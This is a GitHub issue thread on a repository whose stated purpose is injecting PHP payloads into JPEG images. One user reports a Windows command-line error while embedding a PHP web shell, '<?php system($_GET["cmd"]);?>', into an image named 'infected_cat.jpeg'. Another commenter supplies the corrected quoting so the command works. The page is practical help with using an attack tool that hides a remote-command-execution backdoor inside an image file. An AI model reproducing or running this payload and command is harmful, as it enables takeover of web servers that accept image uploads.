dlegs / php-jpeg-injector

Injects php payloads into jpeg images
452 stars 121 forks source link

The filename, directory name, or volume label syntax is incorrect. #10

Open Himel-Sarkar opened 2 years ago

Himel-Sarkar commented 2 years ago

https://github.com/Himel-Sarkar/issuissues-/blob/main/php2jpg_issues.PNG?raw=true

==================================== issue ============================ C:\Users\Himel\AppData\Local\Temp\a\php2jpg>dir/b 2.jpeg cat.jpg gd-jpeg.py php-jpeg-injector-master.zip

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>py gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg The filename, directory name, or volume label syntax is incorrect.

C:\Users\Himel\AppData\Local\Temp\a\php2jpg>python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg The filename, directory name, or volume label syntax is incorrect.

brmoda commented 2 years ago

replace : ( ' ) with ( " ) python3 gd-jpeg.py cat.jpeg "<?php system($_GET["cmd"]);?>" infected_cat.jpeg